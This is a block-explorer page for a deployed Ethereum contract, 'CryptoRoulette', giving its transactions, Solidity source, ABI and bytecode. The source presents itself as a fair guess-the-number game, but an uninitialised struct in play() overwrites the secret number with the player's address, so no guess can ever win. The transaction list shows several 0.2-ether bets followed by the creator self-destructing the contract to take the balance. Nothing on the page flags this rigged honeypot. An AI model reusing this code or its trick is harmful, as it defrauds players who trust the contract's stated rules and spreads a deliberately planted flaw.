Overview
Balance: 0 Ether
Ether Value: $0
Transactions: 9 txns
Misc:
Address Watch: Add To Watch List
 Latest 9 txns

TxHash Age From To Value [TxFee]
0x4f8b3e8165fde85480c167713b0ad79fa2dc6d87409fbde56ad805e0ab7b47e3226 days 8 hrs ago0x4469bc6bd2ba2acda7841c2350d0d1de7f26521f  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0 Ether0.00005408
0xd28c0484828f6bd5966f49e0e18cbdbcaecb59233c4e6a20ee4c79dfcf20fe54230 days 21 hrs ago0x0483857de670a1f3490820c5ceeb55bf22564bbb  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0.2 Ether0.000354208
0x63e6c2652f1be2e2de6022194beb64fbda1a4e372fb8734fcd789a01ed0fca14231 days 5 hrs ago0x3a5eeed1d265b9876d3049d2355034427fd4dd24  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0.2 Ether0.000177104
0x0402642d1b72a5fc541d3ca41c3f4e1fa2938ade35020b850f6e9a13e21d4236231 days 5 hrs ago0x3a5eeed1d265b9876d3049d2355034427fd4dd24  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0.2 Ether0.0001
0xb8c5f952ac4a21badca55299f71367813d82445fefdfbfc54067badbb559abc1234 days 5 hrs ago0x1038f11094dd812c924cbfa0dde44ba36ab90118  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0.2 Ether0.0004516152
0xaff443913e70e4baaecd49cf1c1982af73b1a0567846866c9d264c76e09709dc236 days 6 hrs ago0xf95b1acc43161d1fdffb2b69f0c8d8cffd757274  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0 Ether0.000043512
0x44e75b02df5ba6356292351fb96a794426751fe2817b47622d58a707403dc784236 days 7 hrs ago0xf95b1acc43161d1fdffb2b69f0c8d8cffd757274  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0 Ether0.00004375
0x6114e8aab35a9bea69c57ea94459d0a85e73b1c10fa7c6485447b90f11f34fd2236 days 12 hrs ago0x4469bc6bd2ba2acda7841c2350d0d1de7f26521f  IN   0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c1.205 Ether0.00004208
0xba30ad01abc4c851e8fc98df02a0d6352e659e22962b2f1136798f624aac0335236 days 12 hrs ago0x4469bc6bd2ba2acda7841c2350d0d1de7f26521f  IN    Contract Creation0 Ether0.000338617
[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
 Latest 3 Internal Transactions

ParentTxHash Block Age From To Value
0x4f8b3e8165fde85480c167713b0ad79fa2dc6d87409fbde56ad805e0ab7b47e35550898226 days 8 hrs ago0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0x4469bc6bd2ba2acda7841c2350d0d1de7f26521f2.0489999998 Ether
0xfc9b0d2d8538bbfb27aec0759180c72c1cc6ea05baef4642f30336a3b6d5ce675527094230 days 12 hrs ago0x9676b66ab53d161347acb9ced27b44deeabc5b3f0x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0.0439999998 Ether
0x713a0bc2f0198f070d023d332271a089ae7aa71b448172bd7fdb4d9ab8cbfe535505669234 days 5 hrs ago0xfd31b411f8d79950451fd993dbe9a29d2fc1cca40x9823e4e4f4552cd84720dabbd6fb2c7b67066c6c0.2 Ether
[ Download CSV Export  ] 
Contract Self Destruct Called At TxHash 0x4f8b3e8165fde85480c167713b0ad79fa2dc6d87409fbde56ad805e0ab7b47e3

Warning: The Compiled Contract might be susceptible to ExpExponentCleanup (medium/high-severity), EventStructWrongData (very low-severity) SolidityCompiler Bugs.

Contract Source Code Verified (Exact Match)
Contract Name: CryptoRoulette
Compiler Text: v0.4.23+commit.124ca40d
Optimization Enabled: Yes
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts

pragma solidity ^0.4.23;

// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-10).  Bet price: 0.2 ether

contract CryptoRoulette {

    uint256 private secretNumber;
    uint256 public lastPlayed;
    uint256 public betPrice = 0.2 ether;
    address public ownerAddr;

    struct Game {
        address player;
        uint256 number;
    }
    Game[] public gamesPlayed;

    constructor() public {
        ownerAddr = msg.sender;
        shuffle();
    }

    function shuffle() internal {
        // randomly set secretNumber with a value between 1 and 10
        secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 10 + 1;
    }

    function play(uint256 number) payable public {
        require(msg.value >= betPrice && number <= 10);

        Game game;
        game.player = msg.sender;
        game.number = number;
        gamesPlayed.push(game);

        if (number == secretNumber) {
            // win!
            msg.sender.transfer(this.balance);
        }

        shuffle();
        lastPlayed = now;
    }

    function kill() public {
        if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) {
            suicide(msg.sender);
        }
    }

    function() public payable { }
}

    Contract ABI  
[{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"gamesPlayed","outputs":[{"name":"player","type":"address"},{"name":"number","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"number","type":"uint256"}],"name":"play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"ownerAddr","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastPlayed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"betPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

  Contract Creation Code Switch To Opcodes View
60806040526702c68af0bb14000060025534801561001c57600080fd5b5060038054600160a060020a03191633600160a060020a031617905561004964010000000061004e810204565b61007c565b60408051428152436000190140602082015281519081900390910190206001600a60ff928316060116600055565b6103368061008b6000396000f3006080604052600436106100775763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663382cf0a6811461007957806341c0e1b5146100b45780636898f82b146100c95780639c675eaa146100d4578063c533913214610105578063cfd8a1751461012c575b005b34801561008557600080fd5b50610091600435610141565b60408051600160a060020a03909316835260208301919091528051918290030190f35b3480156100c057600080fd5b50610077610177565b6100776004356101ad565b3480156100e057600080fd5b506100e96102c1565b60408051600160a060020a039092168252519081900360200190f35b34801561011157600080fd5b5061011a6102d0565b60408051918252519081900360200190f35b34801561013857600080fd5b5061011a6102d6565b600480548290811061014f57fe5b600091825260209091206002909102018054600190910154600160a060020a03909116915082565b60035433600160a060020a03908116911614801561019a57506001546154600142115b156101ab5733600160a060020a0316ff5b565b600060025434101580156101c25750600a8211155b15156101cd57600080fd5b8054600160a060020a0333811673ffffffffffffffffffffffffffffffffffffffff1992831617835560018084018581556004805492830181556000908152855460029093027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81018054909616939094169290921790935591547f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c90910155548214156102b157604051600160a060020a0333811691309091163180156108fc02916000818181858888f193505050501580156102af573d6000803e3d6000fd5b505b6102b96102dc565b505042600155565b600354600160a060020a031681565b60015481565b60025481565b60408051428152436000190140602082015281519081900390910190206001600a60ff9283160601166000555600a165627a7a723058200389b0a4d040d1436ce25616044fa1f681f7e0931934ce40816c2f1b757a6c7f0029

   Swarm Source:
bzzr://0389b0a4d040d1436ce25616044fa1f681f7e0931934ce40816c2f1b757a6c7f

 

View All
Block Age transaction Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.